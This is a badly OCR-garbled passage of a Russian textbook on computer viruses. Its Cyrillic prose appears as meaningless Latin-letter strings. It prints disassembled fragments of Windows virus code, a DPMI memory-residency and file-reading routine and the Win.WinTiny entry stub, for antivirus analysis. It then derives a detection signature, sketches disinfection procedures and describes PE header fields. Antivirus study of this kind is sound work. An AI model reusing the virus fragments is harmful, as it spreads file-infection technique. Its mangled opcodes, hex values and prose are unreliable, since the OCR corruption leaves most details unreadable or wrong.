MOHCxpupyiomHH npaeMH pa6oTU c naMJrrbio (nepe3 DPMI-cepBHcbi) 
h c (JanjiaMH (cpeflCTBaMH MS-DOS), xapaKxepHbie He xojibico ffjm Win. 
Vecna, ho h  aan apyrnx BHpycoB:

0F72 pusha
0F73 mov ax, '30' ; napojit
0F76 in t 21h
0F78 cmp ax, 'NK' ; npoaepica 0T3biBa
0F7B j z  loc_F85 ; Bupyc yxe s naman
0F7D push ds
0F7E push es
0F7F push cs
0F80 c a l l  sut)_F92
0F83 loc_F83:
0F83 pop es
0F84 pop ds
0F85 loc_F85:
0F85 popa
0F86 push OOOCh ; Aflpec crapofi tomkm sxoaa
0F89 retn ; Bo3BpaT ynpaBJiemiq *epTBe
0F8A loc_F8A:
0F8A add sp, 2
0F8D loc_F8D:
OF80 add sp, OAh
0F90 jnp short loc_F83

0F92 sub_F92:
0F92 mov ax, SO'h ; Cepbmc "aunem Tb 6jiok naMSTM"
0F95 mov cx, 138Eh ; M.nafluiee cjiobo pa3Mepa 6fl0Ka
0F98 xor bx, bx ; Ctapyjee cjiobo pa3Mepa 6jiOKa
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0F9A push bx
0F9B push cx
0F9C push bx
0F9D push cx
0F9E in t  31h BliinOJlHMTb DPM I-CepBHC

OF AO jb loc_F8A
0FA2 push Bx
OF A3 push cx
0FA4 s u b  a x ,  a x CepBMC ' c o 3 fla T b  noK a /ibH b ie  fie c K p u n T O p u "

0FA6 m ov c x ,  1 K onnw ecTB o  a e c K p u n T o p o B

0FA9 in t  3lh
OFAB m ov b x , a x BX c e iie K T o p  fle c K p w n T o p a

OFAO mov a x ,  7 CepBuc. "vcT aH O B H Tb  6 a 3 y  c e rM e H T a ”

OFBO p o p  d x

0FB1 pop cx
0F82 in t  31h ; f lp n  B 03B paTe  BX :=  c e n e ic ro p

0FB4 mov a x ,  8 C epB uc "ycTaHO BM Tb j ih m m t  c e rM e H T a ”

0FB7 p o p  d x  ; M jiaau iee  c a o b o  n m m a  ce rM e H T a

0FB8 p op  c x  ; CTapmee c jio b o  flMMMTa ce rM e H T a

0F89 in t  3ih
OFBB mov ax, 9 ; CepBuc ''ycTanoBKTb npasa aocTyna k. cerMenTy”
OFBE mov cx, OFFh ; See B03M0XHue 4>flarn flocTyna
OFC1 in t  31h
0FC3 pop dx
OFC4 pop cx
0FC5 push bx
0FC6 push 30Ah Aflpec b  c e rM e H te  fl/is nepeaaMM y n p a B /ie w w

0FG9 push dx
OFCA push cx
OFCB mov ax, OAh . ; CepBuc "CKonnpoBaTb aecKpunTop” , AX : =  Kornm
OFCE in t  31h
OFDO pop cx
0FD1 pop d x

0F02 mov bx, 8 ; CepBuc "yctaHOBHTb hmmmt cerMeHTa”
0FO5 xchg ax, bx
0FD6 in t  31h
0FO8 push b x

0FD9 c a ll  near p tr loc_FE9
db 'FILENAME.EXE , 0 ; Mma 3 a p a *e H H o ro  (fsaiina

0FE9 loc_FE9
0FE9 pop dx
OFEB pop ds
OFEC mov ax, SDOOh ; OTKpuTb 3 a p a *e H H « ii 4>akin
OFEF in t  21h
OFF1 jb  loc_F8D
0FF3 xchg ax, bx
OFF4 mov ax, 4202h ; f lepeM ecT H T bca  Ha k o a  B iip y c H o ro  "X B o c T a "

0FF7 mov cx, OFFFFh
OFFA mov tix, OFCCOh
OFFD i n t  21h
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OFFF
1001
1002
1004
1007
1009

b o v  ah, 3Fh 
pop ds 
xor dx, dx 
mov cx, 340h 
in t 21A 
re tf ; BbinojiHHTb nepexoA b hobhm cerMeHT

; Unrna BHpycHoro "xBocTa"

; Mvrratb k o a  s w p y c a  b  h o b u m  ce rM e H T

CaMUH npocTOH MeToa 3apaaeeHHH NE-nporpaMM 6bui Hcn0Jib30BaH 

b BHpyce W in .W in T in y  3 t o t  BHpyc co33aBaji b 4>a&ie AonojnnrrejibHyK) 
ceKUHio c xapaKTepHCTHKaMH KOflOBOTO ceraeHTa h pa3Mema;i b Hen cboh  

KOfl. npH  3TOM IIpHXOflH/IOCb ao6aBJIHTb K Ta6-HHUe CerMeHTOB HOByiO 

<cTpoKy>. A btop  BHpyca nocryiiHJi opnrHHajibHO, pacuiHpaa a iy  t z 6j ik - 

u y  He <bhh3» (h to  noBJieKno 6m 3a co6oh Heo6xo;iHMOcTb cflBHraTb h  

nepecHHTHBaTb Bee ocrajibHwe cjiyace6Hbie nojia h  Ta6jram a), a b cto- 
poHy Havana 4>aiwa, Hcn0Jib30BaB fljia pacuiHpeHHH He6oJibinoH <JiK>4n> 

M e*ay  NE-3ar0^0BK0M h HanajiOM Ta6;nmM. ^JIkxJit* 06pa30BUBajica 

3a CHCT TOTO, HTO ^BepXHHH IIOJIOBHHa* NE-3arO^OBKa (BKJIIOHaH CHrHa- 
Typy < N E »  h  HeKOTOpbie no jia ) HCKycctbchho cflBHrajiacb BHpycoM Ha 

8 6aHTOB b cropoHy M Z -3aroJioBKa, b o6jiacrb, npHHazyieacamyio D O S -  
3araymKe.

4.2.3. AHanu3 KOHKpeTHoro BHpyca m pa3pa6oixa 
aHTMBMpycHHx npoueAyp
riycTb o&beicroM fljia Haiunx aiccnepHMeHTOB nocjiym ir BHpyc Win. 
WinTmy.b. Ah<uih3 BHpyca Heo6xoflHMO HaHHHaTb c co/iepacHMoro no- 
n e&  N E -3arojioBKa, pacnoaoaceHHoro b (Jjaiuie no •«HecTaHaapTHOMy» 
CMeiueHHio 88h:

O  KOjnwecTBo cerMeHTOB b  <J>aiiJie -  3;
O  ne_segtab=40h, cjieaoBaTeJibHo, Ta6jnm a cerMeHTOB b (Jjaniie pac- 

no^araeTca no cMemeHHio 88h+40h=C8h:
O  ne_csip=30000h, cjieflOBaTertbHO, TOHKa Bxo^a pacnojiaraeTca 

b 3-m ceraeirre no CMem eHHio 0;
O  ne_align=9, cjieflOBaTejibHO, m im ia  JiornHecKoro ceicropa paBHa 

512 6aHTOB.
EteniHHeM Taicace Ha Ta6jum y cerMeHTOB:
O cerMeHT 1 -  coaepaarr Koa nporpaMMbi, HanHHaerca c jioranecKoro 

ceKTopa 1 h HMeeT flJiHHy 7CCh 6aHTOB;

O cemeHT 2 -  coaepacHT g am b le  nporpaMMH, HaHHHaeTca c JiorHne- 
CKoro ceKTopa 6 h HMeeT /uiHHy 274h 6aHTa;

O cerMeHT 3 -  coaepacHT koa BHpyca, HaHHHaeTca c JioniMecKoro ceK
Topa OCh h HMeeT /uiHHy 2DBh 6aitTOB.
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30000: 9C pushf
30001: 60 pusha
30002: 1E push ds
30003: 06 push es
30004: B88616 mov ax,01686
30007: C02F in t 02F
30009: 08 CO or ax, ax
3000B: 7409 je .000030016
30000: 07 pop es
3000E: 1F pop ds
3000F: 61 popa
30010: 90 popf
30011: EAOOOOFFFF jirip 0FFFF:00000
30016:

Paccw raeM  nojio*eHHe tohkh Bxoaa b 3apa*eHHyio npoipaMMy: bh- 
pycHuft cerMeHT b (Jjaftjie pacnojioaceH no aapecy 0Ch*512= 1800h, a cMe- 
meHHe nepBofi BHpycHofi KOMaHabi paBHo 0. Hmchho TaM h pacnojioaceH 
CTapTOBHH (J)pameHT BHpyca, b o t oh:

flocTynHhi Jin cepBMcw 
DPMI ?

f lp o f lo n *M T b  pa fiO Ty B n p y c a

B 03B paT  ynpaBJieHMfl " jK e p T B e "

3 t o t  OparMeHT cHa6aHT Hac 6airraMH mn cHraaTypw, h nycTb b Hee 
BOHayr nepBbie 10 6aHTOB 4>parMeHTa.

Ecjih nocMOTperb o&beicrHBHo, to  s to  -  lie jiynniHH Bbi6op, no Kpaft- 
Hen Mepe ansi «KOMMepHecicoro» aHTHBHpyca. /JeJio b tom, h to  HcxoflHbra 
TeKcr paccMaTpHBaeMoro BHpyca 6bui nepBOHaHajibHO 0ny6jiHK0BaH 
b aBCTpajiHHCKOM BHpyconHcaTeJibCKOM aJieKTpoHHOM xcypHajie «Vlad», 
a no3*e 6mji BocnporoBeaeH b HeKOTopbix nenaTHWx H3flaHHHX. Bejwoca 
BepOHTHOCTb, HTO eCJIH KaKOH-HH6yflb He 0C06eHH0 Tpyfl0JU06HBbIH na- 
KOCTHHK B03bMeT 3TOT TeKCT B KaHeCTBe OCHOBbI flJM CBOerO «OIiyca», TO 
HanajibHbie 4>parMeHTW «onyca» h opnrHHajia 6yayr coBnaaam  TeM He 
MeHee juisi Hac s to  He npHHuuimajibHO, noaTOMy b KaHecree cHraaTypbi 
npHMeM: «9C 60 IE  06 B8 86 16 CD 2F 0B».

Taic*ce, aHajiH3Hpyfl OparMeHT, m o*ho npHHTH k BHBoay, h to b BHpyce 
b flajibHeinueM iuiaHHpyeTca pa6oTa c naMaTbio cpeacTBaMH DPMI.

Unuc, nocjie noBepxHocTHoro B3rJiaaa Ha npHBeaeHHHH ^pam eHT 
3araaKofi ocTaerca jim iib oflHa noapo6HOCTb: aapec nepexoga Ha opnrn- 
HaJIiHblH KOA «*epTB W ». I Io  (J)OpMaTy KOMaHabi «JMP» MOJKHO 3aKJIIO- 
HHTb TOJIbKO, HTO 3T0T aflpeC 6yaeT nOMemeH Ha CBoe 33KOHHOe Mecro B 
npouecce 3arpy3KH nporpaMMbi b naM«Tb, h b 3 »t  6yaer s to t  aapec H3 
Ta6jiHUH nepeMemaeMux ccujiok. 3arji»HeM b <xboct» BHpycHoro cer- 
MeHTa, /uih 3Toro no 4>aHJiOBOMy aapecy 1800h+2DBh=lADBh npoHH- 
TaeM 16-6HT0B0e cjiobo co 3HaneHHeM 1 (s to  kojihhcctbo nepeMemaeMbix 
ccwjiok b cerMeHTe) h, HaKOHen, caMy ccujncy:

O  nr_stype=3, cJieaoBaTeabHO, cchunca npeacTaBJweT co6oh napy 
BHaa {cerMeHTXMemeHiie};
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O  nr_flags“ 04 -  npn3H3K «flo6aBJiaeMOH» cchuikh;
O nr_soff=-12h -  nojioaceHJie cchjikh b cerMeirre;
O n r_segn o= l, cJieaoBaTejibHO, sto ccu®ca Ha KoaoBbiii cerMeHT 

nporpaMMH;
O  n r_entry=0  -  CMemeHHe b  koaobom cemeHTe, Kyfla HanpaMeHa 

cchuiKa. 
TaKHM 06pa30M, nocjie 3arpy3KH b naMaTb KOManma <JMP» 6yaeT cch - 

jian>cH Ha CMemeHHe 0 b ceraeHTe 1 (to  ecrb b koaobom cemeHTe npo

rpaMMbi). 
ITo-npe*HeMy 6yaeM cHHTan>, mto cnpaBHTbca c BHpycoM noMoryr ztBe 

nponeaypu: in fected() -  r j i x  npoBeprai (jjaibia Ha «3apa3HocTb», cu re () -  

Ana yaajieHHa BHpyca H3 <J)aiiJia.
IlepBaa H3 npone^yp aojracHa caejiaTb npHMepHO to  ace, mto m u tojimco 

mto BbmojiHHJiH caMOOTOHTejibHO, a HMeHHo npoaHajnranpoBaTb co/tep- 
jKHMoe NE-3aroJioBKa, Hafira TOMKy Bxo^a b 3apaaceHHyio nporpaMMy h 

npoBepHTb H am ro e  CHraaTypbi.
BTopaa nponeaypa MoaceT 6brrb pea^H30BaHa n0-pa3H0My. B npocTeft- 

meM cjiynae oHa mojkct npocTo 3a6nm> 3HaMeHHeM 90h (s to  koa KOMaHflbi 
«NOP») 17 6aHTOB, HaMHHaa o t  nepBoro 6aiiTa BHpyca h flo KOMaHflH 
«JMPk  Hyrb-Myrb 6ojiee «npoflBHHyroe» JieMeHHe 3amnoMaeTca b tom, 
mto6w BoccTaHOBHTb b NE-3aroJioBKe npaBHJibHoe 3H3MeHHe nojia, orai- 
cuBaiomee nojioaceHHe tomkh Bxoaa. HaKOHeu, «nporpaMMa-MaKCHMyM» 
3aK7noMaerca b tom, m to6h aiacypaTHO «jiHKBHSHpoBaTB > Bee HSMeHeHHa, 
npHBHeceHHbie BHpycoM b nporpaMMHhiH <|>aHJi, -  yaajiHTb BHpycHHH 
cemeHT, cKoppeKrapoBaTb Ta6jumy cerMeHTOB, «c»caTb» 3ar0Ji0B0K h t. a.

ripHMepw npoueayp npHBeaeHbi b  npiinoaceHHH.

4.3. Bupycbi AAfi 32-pa3pstAHbix BepcuM 
Windows

...Ohu 6wiu etu,e u rtpeKpacuu, smu uydoeuma! 
Ohu 6umu uacmojivKO cmpaiuwx u omeparrmu, 
vmo npedcmaejuuiucty ceoezo poda coeepmeu- 
cmeoM. CoeeputeucmeoM 6e3o6pa3iui.

A. h B. OipyraipcHe. «Bojihm racar BeTep>

IIporpaMMHwe 4>aii;iH, HMeBiHHe PE-(J)opMaT, noaBHJiHCb yace b HaMajie 
90-x roflOB BMecTe c Windows NT, ho aojirae rozibi 3Ta onepauHOHHaa 
CHCTeMa cJ)HpMbi Microsoft, OHeHb aoporaa h pecypcoeMKaa, obiJia npaK-
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THHeCKH HeflOCTynHa IUHpOKOH KOMnblOTepHOH 06m eCTBeHH0CTH. <IIy- 
TeBKy b *H3Hb» PE-<J»pMaT nojiymui 6jiaroaapa noaBJiemno h pacnpo- 
CTpaHeHHio b cepeflHHe 90-x roaoB ropa3ao 6on.ee npocToa, aemeBOH h 
fleMOKpanwHoS onepaijHOHHOH chctcm h Windows 95, Ha 3Tane pa3pa- 
6otkh h 6eTa-TecTHpoBaHHa H3BecTH0H KaK <npoeicr Chicago

Win9X.Boza (hjih Bizatch) -  nepBtin BHpyc, 3apa»caBiiiHH npo- 
rpaMMHwe (Jraiijihi PE-(Jx>pMaTa, noaBHJica nepe3 HecKOJibKO MecaueB 
nocjie Bbixofla o^HimajibHoro pejm3a Windows 95. Abtopctbo ero npa- 
HafljiejKHT MeJiOBeKy no npo3BHmy Quantum -  HJieHy aBCTpajiiriiCKoii 
BHpyconHcaTejTbOKOH rpynnH co Bnojme cjiasaHCKHM HaHMeHOBaHHeM 
«Vlad». Hcxoshmh TeKCT BHpyca 6biji 0ny6jiHK0BaH b sjieKTpoHHOM 
xypmuie c auajionriHbtM Ha3BamieM. CKOMmumpoBaHHue B a p H a r m > i  

BHpyca h  Hcxoaubie T eK C T b i nepBOHanajibHo pacnpocTpaHajincb tojimco 
Meacay BHpycoiracaTeJWMH, H3 pyK b  pyKH, ho BCKope C T aJiH  aocTynHH h  

BHpycojioraM. Cjieayer oTMeTHTb, h t o  BHpyc pa3pa6aTHBaJicH c acnojib- 
3 0 B a H H e M  o c o 6 e H H o c T e f i ,  npacymnx 6e T a - B e p c a H M  Windows 95, n o a T o -  

My b «flHKOH npupoae* oh n p a ic T H H e c K H  He B C T p e n a ji c a .  Ho 3 T o r o  ot Hero 
H  H e  T p e 6 0 B a J I0 C b . O H  flOKa3ajI B 0 3 M 0 JK H 0 C T b  cymecTBOBaHHH BHpycoB 
ju ih  32-pa3paAHbix Bepcnfl Windows, ao t o t o  MOMeHTa oTpmiaBiiiyioca 
cneuHajracTaMH. Bot KaK npopeanipoBajia Ha <J>aKT co3aaHHH aroro BH
pyca npecca:

AUSTRALIAN computer hackers have brought computer giant Micro
soft’s vaunted Windows 95 program to its virtual knees. (ABCTpajMM- 
cioie xaxepbi nocraBimi Windows 95, pacxBannBaeMyio KOMnbtorep- 
h u m  ruramoM Microsoft, Ha BHpTya/tbHbte KomHU.)

BcKope b «flHKyio npHpoay* xjitrayji noTOK apyrax BHpycoB, co3aaH- 
h u x apyrHMH jnoabMH, ho no o6pa3y h noao6ino Win9X.Boza. 3noxa 
BHpycoB, paccHHTaHHMX Ha 32- h 64-pa3paoHbie B e p c u n  Windows, Ha- 
naJiacb h npoflOJi*aeTCH no ceft aeHb.

Bcero Ha momcht HarmcaHiia  s th x  ctpok H3BecTHo okojio 2500 tbkhx 
<ko3hbok». Ka3ajiocb 6hi, neMHoro, Beflb BHpycoB flJia MS-DOS bo mhoto 
pa3 6ojn»me. Ho Windows-BHpycu ropa3ao cjiojkhch no CBoeii opraHH- 
3atuiH, ajw hx HanHcaHHH coBepmeirao HeaocraTOHHo 3HaHna aecanca- 
apyroro acceM6jiepHHX KOMaHa. IIoaTOMy 6ojibiiiHHCTBo TaKHX BHpycoB 
co3aaHU coBceM He HOBHHKaMH b nporpaMMHpoBaHHH. K hx ycjiyraM noa- 
po6HMe «cnpaBOHHHKH>, «yne6HHKH» h «noco6na», KaKOBbiMH mojkho 
CHHTaTb coaepacHMoe ajieicrpoHHbix acypHajioB «Vlad», «29A» h «Xine», 
Uhkjiu cTaTeH o t  ZOmbi E, Lord Julus h Billy Belcebu h MHonie-MHorne 
apyrae MaTepHajiu.
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B n p y c H  a n a  32- h  6 4 -6 h to b h x  B ep cn fi W in d o w s  -  c jio jk h m h , BaHeHwft

H OHeHb HHTepeCHHH O&beKT ftHH H3yHeHHH.

4.3.1. OopMaT <|>aMjiOB PE-nporpaMM
3 t o t  (JxjpMaT 6 bui pa3 p a 6 oTaH (JmpMOH M ic r o s o ft  r j js i  3 2 -6 h to b u x  W in -  

d ow s-n p orpaM M , a o c h o b o h  pjis i H e ro  noaiyaau i C O F F -c fw p M a T  h o io j i -  

H a eM tix  cf>aHJioB, H cno^b 3yeM U H  b  U N IX .  O h  npH M eH aeTca b  W in d o w s  

H e to j ib k o  f l j ia  HcnoJiHHMbix nporpaM M  (p acu in peH H e « .E X E » h j i h  

« .S C R > ) ,  h o  h  a n a  flHnaMHHecKHX 6 h6 j ih o tc k  (p acm n p eH H e  « . D L L » ) ,  

K0 M n0HeHT0 B Ila H e jiH  ynpaBJieHHH (p acu in p eH H e « . C P L » )  h  HeKOTOpwx 

f lp y r n x  0 6 M K T 0 B.

IIporpaMMH, o^wpM JieH H H e b  PE-<J>opMaTe, Tpaam jHOHHO npeflCTaB- 

jia iO T  c o 6 o h  coBOKynHOOTb flB yx  n acTe ii, oflH a H3 k o to p b ix  npeflH aaH ane- 

Ha f l jw  B breoaa n p e a y n p e a y ia io m e ro  c o o 6 u ieH iia  n p n  n o m in e e  3 an ycn rn >  

T aK y io  n porp aM M y b  M S - D O S ,  a  a p y ra a  npeflcraB J iaeT  c o 6 o i i  c o 6 - 

CTBeHHo W in d o w s -n p o rp a M M y  [12]. IIo -n p e jK H eM y  npH 3 H3 K Windows- 
nporpaMMW p a c n o jia ra e rc a  b  3 a ro jioB K e  DOS-nporpaMMw n o  CMemeHHio 

18h, a ccMJiKa Ha cneim (J)HHecKHH W indc>ws-3ar0;i0B0K: M oacer 6 hrn> Haft- 

fleH a  n o  4 >aftji0B0 M y CMem eHHio 3Ch.
ConnacHO (|>HpMeHHOH AOKyMeHTaiiHH o t  Microsoft, s t o t  Windows- 

3ar0Ji0B0K pa3fle;ieH Ha HecKOJibKO HacTeft, HeKOTopue H3 k o t o p h x  

CHHTaiOTCH o6fl3aTeJIbHHMH, HeKOTOpbie -  «OITUHOHaJIbHbIMH> ( t o  eCTb 

H eo6a3aTe^bH M M H ). a HeKOTOpbie -  CCneUHCjjHHHblMH* fl.lla  OT^eJIbHUX 

BepcHH Windows. TeM He M eH ee n porpaM M , b KOTopwx oTcyTCTBOBajm 6 w  

<Heo6H3aTe;ibHue» 4>parMeHTbi 3aro.noBKa, a ccneioKjawHwe* hmcjih 6m 
KaKofi-HH6yab oco6eHHHH (JiopMaT, b npnpoae He cymecTByeT, nosTOMy 
Mbi 6yaeM paccMaipHBarb 3arc>JiOBOK KaK eflHHoe qejioe.

IIpH onHcaHHH no;ieH 3ar0Ji0BKa mu 6yaeM Hcn0^b30Ban> TepMHH 
<4>aHJi0B0e CMemeHHe* AJW o6o3Ha»ieHHa jnca3aTejia Ha KaKOH-HH6yab 
o6x>eicr BHjripH nporpaMMHoro (fraiiJia, a a66peBHaTypy «R V A » (Relative 
Virtual Address -  OTHOCHTejibHbra BHpTyaJibHHH aapec) j v la ofbsHane- 
HHa CMeiueima KaKoro-;m6o o6i>eKTa oTHocHTeJibHO Toro aapeca, c koto- 
poro nporpaMMHuii o6pa3 HanHHaeTca b naMara. HMeHa noJieft 3anwioB- 
Ka cooTBeTOTByiOT yKasaHHWM b (JraiiJie « W I N N T . H » .

; HaoTb 1 -  "o6fl3aTenbHasi" Macib aaroroBKa
Signature dd ? ; +00h -  yHKKaflbHas CMmaTypa siifla 'PE\0\0' (00004550M)
Machine dw ? ; +04h -  Koa peKoweHfiyeMoro npoyeccopa
NumberOfSections dw ? ; +06h -  Ko/imecTBO ceKuiiii s nporpaMMe
TimeDateStamp dd 7 ; +08h - /JaTa m epeMs? cosflaHnq nporpaMMbi
PointerToSymbolTable dd 7 , +0Ch - Ccw/iKa Ha Tafijwuy cmmbojiob oi.naflOMHOfi

HHl|)OpMaUMH
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NumbsrOfSymbols dd ?
SizeOfOptionalHeader dw ?

C h aracteristics  dw ?

+10h -  KOJIMHeCTBO CHMB0J10B OT/13flOMHOii MH$OpMauMM 
+14h -  CyMMapHuii pa3Mep sacTeft 2-4 PE-3ar0J!0BKa 

(OEOh)
+16h -  toan i xapaKTepMCTMK nporpaMMu

Hactb 2 -  ''Heo6fl3aTe/ibnasr qactb (oanaKo npucyTOTByeT eceraa)
Magic
MajorLinkerVersion
MinorlinkerVersion
SizeOfCode
S ize O fln itia lizedD ata  
SizeO fUninitializedO ata  
Add ressOf Ent ryPoint 
BaseOfCode

dw
db
db
dd
dd
dd
dd
dd

ddBaseOfOata
; HacTb 3 -  "cneuwtMMHafl' 
XmageBase 
SectionAlignment 
FileAiignment 
MajorOperatingSystemVersion dw 
MinorOperatlngSystemVersion dw

? ; +18h -  Tun nporpaMMHoro o6pa3a ( 10Bh mu 20Bh)
? ; +1Ah -  CTapmafl MacTb BepcwM KownoHQBimiKa
? ; +1Bh - M/iafliuaa MacTb Bepcnw KOMnoHOBiiiMKa
? ; +1Ch - Pa3nep ncnoflnaeMoro Koaa nporpaMMu 
? ; +20h -  Pa3Mep MHMUMajiM3MpoBanHbix flaHHbix b nporpaMMe
? ; +24h -  Pa3Mep HenHMUnanMSiipoBambix aanHux b nporpaMMe
? ; +28ti -  RVA to h km  BXOfla OTHOCHTeJibHO Havana 3arcuioBKa

? ; +2Ch - RVA KOflOBOM ceKUMM OTHOCHTeJibHO HaMajia 
saioJiobKa

? ; +30h -  RVA ceKiivw aaHHux oiHocsirenbHO naMana sarojioBKa 
gm  Windows NT MacTb (cflHaKO npM cyrcTByeT m b  Windows 9X)

dd ? ; +34h -  PeKOMewflyetwii afipec o6paaa nporpaMMa b  naM«Tn
+38h -  Pa3Mep jio r im ecK o ro  ceKTopa b  naM q™

+3Ch -  Pa3Mep jiorMnecKoro ceKTopa b fyafine
; +40h -  Hombp BepCktH peKOMennyeMoii OC 
; +42h -  HoMep noflsepcmi peKOMeHflyeMofl OC

dd ? 
dd ?

MajorlmageVersion dw ? +44 h - HoMep BepcuH nporpaMMu
MinorlmageVersion dw ? +46h - HoMep noflsepCMK nporpaMMu
Haj o rSub systemVers i  on dw ? +48h - HoMep eepc-HM Hcno/iHmomeii noflcucieMW
MinorSubsystemVersion dw ? +4Ah - HoMep noflBepcMM McnojiHsaiiefi noacucTeMw
Win32VersionValue dd ? +4Ch - He ncnonb3yeTco
SizeOflmage dd ? +50h - flojiHbffi pasMep o6pa3a nporpaMMw b naMHTM
SizeOfHeaders dd ? +54h - CyMMapwyft pa3Mep Bcex 3aro/ioBKoe

Checksum dd ? +58 h _ KoHTpojibnao cyMMa 6aBT0B Gafina 
(n e  M cnojibsyeTco)

Subsystem dw ? +5Ch - Tun TpeSyeMoii ncnonnsiiomeii noficucTeM u

D llC h aracteristie s dw ? +5Eh - He ncnojib3yeTcq

SizeOfStackReserve dd ? +60h - Pa3Mep cTeica c  yneTOM bosmoxhoto pacuMpeHMfl
SizeOfStackCommit dd ? +64 h - flepBOHa^a/ibHbiM pa3Mep cTeica

SizeOfHeapReserve dd ? +68 h - Pa3Mep fliiHaMMMecKOii naMsi™ c yneTOM 
pacnnpeHiia

SizeOfHeapCoMit dd ? +6Ch - nepBOHananbHwii pasMep nnHaMiwecKoii naMSTn
LoaderFlags dd ? +70h - He Mcnonbsyercfl
NumberOfRvaAndSizes dd ? +74h - KOflMMeCTBO "CTpOK" B Ta6jlHlie 06beKT0B
; HacTb 4 -  TafiJiMua oSbeicroB (mohcho cmtTatb ee HacTbio saro/ioBKa)
ExportTableflVA dd ? +78h - RVA Ta6/inuu SKcnopTa

ExportTableSlze dd ? +7Ch - Pa3Mep Tafî Muw SKcnopia
ImportTableRVA dd ? +80h - RVA TaSflmiu MMnopTa
ImportTabeSIze dd ? +84h - Pa3Mep TaCnvtuw MMnopTa
ResourceTableRVA dd ? +88h - RVA TaS^nuu pecypcoB
ResourceTableSlze dd ? +8Ch - Pa3Mep TafiJimiw pecypcoB
ExceptionTableflVA dd ? +90h - RVA TaSnnuu MCKJioMeHMii
ExceptionTableSize dd ? +94 h - Pa3Mep Tafiiinuw MCKmweHMi*
SecurityTableRVA dd ? +98h - RVA ta6jiMUbi oeaonacHocTM (He ncnonb3yeTcn)
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Secu rityTableSlze dd ? +9Ch - PasMep Ta&iMUH SeaonaoHOCTM (He Mcnonb3yeic(t)
FixupsTableRVA dd ? +A0h - RVA Ta&iuua nepeMemaeMwx ccunoK
FlxupsTableSize dd 7 +A4D - PasMep rafi/innu nepenenaenbix ccwiok
DebugTableRVA dd ? +A8h - RVA TaSflmiu OT/iaAOHHOft wmtiopMaum
DebugTableSize dd ? +ACh - Pa3Mep TaSflMuw oTjianoHHoii nHftwpMaunn
DescriptionRVA dd ? +B0h - RVA ctpokm onncaHns
OescriptionSize dd ? +B4h - Pa3Mep CTpOKM onucanMB
MachineOataRVA dd ? +B8h - RVA 6/lOICa MaiUHH03aBM0MM0ii MHljJOpMamiM
MachineDataSize dd ? +8Ch - Paswep 6ro«a MauiMH03aBMcm0H nH0opMaynn
TLSRVA dd ? +C0h - RVA noKanbHoii oSnacTM naHHux n0T0Ka
TLSSize dd ? +C4h - Pa3Mep jioKajibHoii oSjiacTM flaHHbix noTOKa
LoadConfigRVA dd ? +C8h - He McnodbsyeTCfl
LoadConfigSize dd ? +CCh - He ncnoflb3yeTCfl
BoundlmportRVA dd ? +00h - RVA Ta6jinubi bound-iwnopTa
BoundlmportSize dd ? +D4h - Pa3Mep TaSnmiw bound-nMnopTa
IATRVA dd ? <-D8h - RVA 6nOKa IAT
IATSize dd 0 +DCh - Pa3Mep 6»iOKa IAT

dd 0 +E0h - He ncn0jib3yeT0fl
dd ? +E4h - He Mcno/?b3yeTCH
dd ? +E8h - He McnofibsyeTcs
dd 0 +Ech - He MCn0Jtb3yeT0B
dd 0 +F0h - He Mcno^bsyeTos
dd ? +F4h - He ncnofib3yeTCfi

C  noHBJieHHeM 64-6h t o b h x  BepcuS onepaunoHHMx chctcm  h  64-6h - 

TOBHX npHKJiaaHhlX nporpaMM B03HHKJI3 Heo6xOflHMOCTb B KOppeKUHH 

3Toro (JwpMaTa. O u pM a M ic ro so ft  coxpam uia o6m yio  cTpyicrypy Bcex 3a- 

TOJIOBKOB, TOJibKO HeKOTOpbie IIOJIH B HHX <BWpOCJIH> C 4 flO 8  6aHTOB H, 

cooTBeTCTBeHHo, noMCHHJiH M ecronojioxeH H e. < C ra p u H » cJwpMaT xapaK- 

TepH3yeTca KOHcraHTOH lOBh b  n o jie  «M a g ic > , a « h o b i>ih »  -  KOHcraHTOH 
20Bh. BnponeM, noica noflJiHHHO 64-6h to b m x  nprnoiaflHiJx  nporpaMM 

(KaK h  BHpycoB fljla  h h x )  oneHb Majio. HecMOTpa Ha cboio «6 4 -6 h to - 

BOCTb», caM we coBpeMeHHHe Bepcpra W in d o w s  b h iio jih h io t  npeHM ym ecr- 

BeHHO < cT ap u e» PE-nporpaM M H.

43.1.1. PE-npozpaMMbt m  duace u e najtutmu
H  b  to m , h  b  apyroM  cjiynae PE -nporpaM M u npeacTaBJiaioT co6oh  Ha- 

6op  CeKUHH, Cpe«H  KOTOpUX MOJKHO OTMeTHTb.

O  o6jiacn> («n ceB floceK ijn K )*) 3ar0Ji0BK0B;

O  ceioiHK) Koaa;
O  ceKUHio aam ibix;
O ceKUHio HHHimaJIH3HpOBaHHbIX flaiiHbix;

O ceKUHio oTJiaaoHHoS HHtJxjpMaijHH h  npo 'iee.

KoJim ecTBo cckuhh (6e3 yneTa «n ceB floce ia jH H ») yKa3WBaeTCH b nojie  

«NurnberOfSections» 3arojiOBKa. IlapaM eTpH  cck iih h  (h x  MecTonojioace-
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HHe, pa3Mep, cJuiarH c b o h c tb , CHMBOJiHHecKoe h m h  h  t . n.) onncuBaioTCfl 
b cneqHaJiBHOH cra&raue ceKUHH*, peHb o KOTopoii noSaeT aajibiue.

KaK npaBHJio, kom iihjm toph h  komhohobiuhkh crpoaT PE-nporpaMMW  

tsk, h to  Kaacaaa ceKipwr coaepaorr oflHopoflHyio HH^opMaoHio, HanpHMep 

HJIH TOJIBKO KO/t, HJIH TOJIbKO flaHHHe. JijiSl flH(|K})epeHIIHaUHH THIIOB ftaH- 
HHX KaJKflOH ceKUHH CTaBHTCH B COOTBeTCTBHe 6HTOBHe CBOHCTBI
cjwiar pa3peuieHHH htchhh H3 ceraiHH, 4 >Jiar pa3pem eH H a 3anncH b Hee, 
(Jwiar pa3pemeHHH HcnojiHeHHa coaepacameroca b ceicimH Koaa h nponee. 
TeM He MeHee hhhto He Meiuaer HMeTb Bcero oflHy ceKmuo co bccbo3mo;k- 
HbiMH y  cTaHOBJieHHbiMH (jwaraMH, coaepacamyio 0aH0BpeMeHH0 h Koa, h  

aaHHbie, h  nponyio HHcf>opMaiiHio. H o  pacnpocTpaHeHHwe KOMinuiaTopu 

h KOMHOHOBIUHKH TaK He nocrynaiOT. Hao6opoT, HMeeTca TeHaeHipia 

BBeaeHHa <BHyrpH(})HpMeHHbix* cTaHflapTOB. HanpHMep, M icrosoft b h -  
aejiaeT HecKOJibKO ranoB  coaepaciiMoro, xpaHameroca b pa3JiHHHHX ceK- 
miax: th ii « .tex t» gjia  HcnojiHHMoro Koaa, «.data* fljia aaHHbix, «.idata»  

